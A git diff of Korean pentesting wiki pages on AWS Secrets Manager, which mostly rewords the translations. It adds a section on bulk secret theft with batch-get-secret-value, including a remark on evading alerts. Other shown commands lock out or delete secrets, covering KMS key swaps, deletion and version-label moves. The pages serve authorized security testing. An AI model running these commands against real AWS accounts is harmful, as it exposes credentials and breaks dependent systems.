diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index bd190cb2d..fa2f22d0b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -12,27 +12,27 @@ ### Secrets 읽기 -**secrets 자체는 민감한 정보**입니다. 읽는 방법은 [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md)에서 확인하세요. +**비밀 자체는 민감한 정보입니다.** 읽는 방법은 [privesc 페이지](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. -### DoS Secret 값 변경 +### DoS 비밀 값 변경 -secret의 값을 변경하면 **해당 값을 사용하는 모든 시스템을 DoS할 수 있습니다.** +비밀 값의 값을 변경하면 **해당 값에 의존하는 모든 시스템을 DoS할 수 있습니다.** > [!WARNING] -> 이전 값들도 저장되어 있으므로 이전 값으로 쉽게 되돌릴 수 있습니다. +> 이전 값들도 저장되어 있으므로, 이전 값으로 되돌리는 것은 쉽습니다. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ --secret-id MyTestSecret \ --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` -### DoS Change KMS key +### DoS KMS key 변경 -공격자가 secretsmanager:UpdateSecret 권한을 가지고 있으면, 해당 secret을 공격자가 소유한 KMS key를 사용하도록 구성할 수 있습니다. 그 KMS key는 초기에는 누구나 접근하고 사용할 수 있도록 설정되어 있어 새 KMS key로 secret을 업데이트하는 것이 가능합니다. 만약 그 key에 접근할 수 없다면 secret을 업데이트할 수 없습니다. +만약 attacker가 secretsmanager:UpdateSecret 권한을 가지고 있다면, secret이 attacker가 소유한 KMS key를 사용하도록 구성할 수 있습니다. 해당 KMS key는 처음에 누구나 접근·사용할 수 있도록 설정되어 있어 secret을 새 key로 업데이트하는 것이 가능합니다. 만약 key에 접근할 수 없다면 secret을 업데이트할 수 없습니다. -secret의 key를 변경한 뒤 공격자는 자신의 key 구성을 수정해 본인만 접근할 수 있게 만듭니다. 이렇게 하면 이후 버전의 secret은 새 key로 암호화되고, 해당 key에 접근할 수 없으므로 secret을 가져올 수 있는 능력이 사라집니다. +secret의 key를 변경한 후 attacker는 자신의 KMS key 설정을 수정해 오직 본인만 접근할 수 있도록 만듭니다. 이렇게 하면 이후 버전의 secret들은 새 KMS key로 암호화되며, 해당 key에 대한 접근 권한이 없으므로 secret을 조회할 수 없게 됩니다. -이 접근 불능 상태는 secret 내용이 변경된 이후의 이후 버전에서만 발생한다는 점이 중요합니다. 현재 버전은 여전히 원래 KMS key로 암호화되어 있기 때문입니다. +중요한 점은 현재 버전은 여전히 원래 KMS key로 암호화되어 있기 때문에, 이 접근 불가 상태는 secret 내용이 변경된 이후의 이후 버전에서만 발생한다는 것입니다. ```bash aws secretsmanager update-secret \ --secret-id MyTestSecret \ @@ -40,7 +40,7 @@ aws secretsmanager update-secret \ ``` ### DoS Secret 삭제 -해당 Secret을 삭제하기 위한 최소 일수는 7일입니다 +secret을 삭제하려면 최소 7일이 필요합니다. ```bash aws secretsmanager delete-secret \ --secret-id MyTestSecret \ @@ -48,7 +48,7 @@ aws secretsmanager delete-secret \ ``` ## secretsmanager:RestoreSecret -비밀을 복원할 수 있습니다. 이는 삭제 예정으로 예약된 비밀도 복원할 수 있음을 의미하며, 비밀의 최소 삭제 기간은 7일이고 최대는 30일이기 때문입니다. 또한 secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 비밀의 내용을 가져올 수 있습니다. +비밀을 복원할 수 있습니다. 비밀의 최소 삭제 기간은 7일이고 최대는 30일이므로, 삭제가 예약된 비밀을 복원할 수 있습니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 내용물을 가져올 수 있습니다. 삭제 중인 비밀을 복구하려면 다음 명령을 사용할 수 있습니다: ```bash @@ -57,20 +57,20 @@ aws secretsmanager restore-secret \ ``` ## secretsmanager:DeleteResourcePolicy -이 작업은 secret에 접근할 수 있는 주체를 제어하는 리소스 정책(resource policy)을 삭제할 수 있게 합니다. 리소스 정책이 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면 이는 DoS로 이어질 수 있습니다. +이 작업은 secret에 접근할 수 있는 사람을 제어하는 resource policy를 삭제할 수 있게 합니다. resource policy가 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면 이는 DoS로 이어질 수 있습니다. -리소스 정책을 삭제하려면: +resource policy를 삭제하려면: ```bash aws secretsmanager delete-resource-policy \ --secret-id ``` ## secretsmanager:UpdateSecretVersionStage -시크릿의 상태는 시크릿 버전을 관리하는 데 사용됩니다. AWSCURRENT은 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요한 경우 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING은 새로운 버전을 현재 버전으로 만들기 전에 준비하고 검증하는 회전 과정에 사용됩니다. +비밀의 상태는 비밀의 버전을 관리하는 데 사용됩니다. AWSCURRENT은 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요할 경우 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING은 회전 과정에서 새 버전을 현재로 만들기 전에 준비하고 검증하는 데 사용됩니다. -애플리케이션은 항상 AWSCURRENT 레이블이 붙은 버전을 읽습니다. 누군가 그 레이블을 잘못된 버전으로 옮기면 앱은 유효하지 않은 자격증명을 사용하게 되어 실패할 수 있습니다. +애플리케이션은 항상 AWSCURRENT가 붙은 버전을 읽습니다. 누군가 그 레이블을 잘못된 버전으로 옮기면 애플리케이션은 유효하지 않은 자격 증명을 사용하게 되어 실패할 수 있습니다. -AWSPREVIOUS는 자동으로 사용되지 않습니다. 그러나 AWSCURRENT가 제거되거나 잘못 재할당되면 모든 것이 여전히 이전 버전으로 실행되는 것처럼 보일 수 있습니다. +AWSPREVIOUS는 자동으로 사용되지 않습니다. 그러나 AWSCURRENT가 제거되거나 잘못 재할당되면 모든 것이 여전히 이전 버전으로 실행되고 있는 것처럼 보일 수 있습니다. ```bash aws secretsmanager update-secret-version-stage \ --secret-id \ @@ -79,3 +79,52 @@ aws secretsmanager update-secret-version-stage \ --remove-from-version-id ``` {{#include ../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Secrets Manager BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 검색할 수 있습니다. 이는 각 secret마다 GetSecretValue를 반복 호출하는 것과 비교해 API 호출량을 크게 줄일 수 있습니다. 필터(tags/name)를 사용하는 경우 ListSecrets 권한도 필요합니다. CloudTrail은 여전히 배치에서 검색된 각 secret마다 GetSecretValue 이벤트를 기록합니다. + +필요 권한 +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue (각 대상 secret에 대해) +- secretsmanager:ListSecrets (--filters 사용 시) +- kms:Decrypt (secrets에 사용된 CMKs에 대해, aws/secretsmanager를 사용하지 않는 경우) + +> [!WARNING] +> `secretsmanager:BatchGetSecretValue` 권한만으로는 secret을 검색하기에 충분하지 않습니다. 검색하려는 각 secret에 대해 `secretsmanager:GetSecretValue` 권한도 필요합니다. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrate — 필터로 (tag key/value 또는 name prefix) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +부분 실패 처리 +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +영향 +- 더 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여, GetSecretValue의 급증에 맞춰 조정된 alerting을 우회할 수 있습니다. +- CloudTrail 로그에는 배치로 검색된 각 secret마다 여전히 하나의 GetSecretValue 이벤트가 포함됩니다. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index b7bdc7608..302514926 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -Secrets Manager에 대한 자세한 정보는 다음을 확인하세요: +secrets manager에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,18 +12,18 @@ Secrets Manager에 대한 자세한 정보는 다음을 확인하세요: ### `secretsmanager:GetSecretValue` -이 권한을 가진 공격자는 AWS **Secretsmanager**에 있는 **비밀 내부의 저장된 값**을 가져올 수 있습니다. +이 권한을 가진 attacker는 AWS **Secretsmanager**에 저장된 secret 내부의 **저장된 값**을 가져올 수 있습니다. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**Potential Impact:** AWS secrets manager service 내부의 고도로 민감한 데이터에 접근할 수 있음. +**잠재적 영향:** AWS secrets manager 서비스 내의 민감한 데이터에 접근할 수 있음. > [!WARNING] -> 주의: `secretsmanager:BatchGetSecretValue` 권한만으로는 민감한 secrets를 가져오기 위해 공격자는 `secretsmanager:GetSecretValue` 권한도 필요합니다. +> 참고: `secretsmanager:BatchGetSecretValue` 권한만으로는 atatcker가 민감한 시크릿을 가져오기 위해 `secretsmanager:GetSecretValue`도 필요합니다. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -앞서 언급한 권한만으로는 다른 principal/계정(심지어 외부 계정)에 **접근 권한을 부여**하여 **secret**에 접근할 수 있게 할 수 있습니다. 단, KMS key로 암호화된 **secrets를 읽기 위해서는**, 사용자에게 해당 **KMS key에 대한 액세스 권한**도 필요합니다 (자세한 내용은 [KMS Enum page](../aws-services/aws-kms-enum.md) 참조). +이전 권한으로 **다른 principals/accounts(심지어 외부)**에게 **secret**에 접근 권한을 부여할 수 있습니다. KMS 키로 암호화된 **secrets를 읽기** 위해서는 사용자가 KMS 키에 대한 **접근 권한**도 필요합니다(자세한 내용은 [KMS Enum page](../aws-services/aws-kms-enum.md) 참고). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id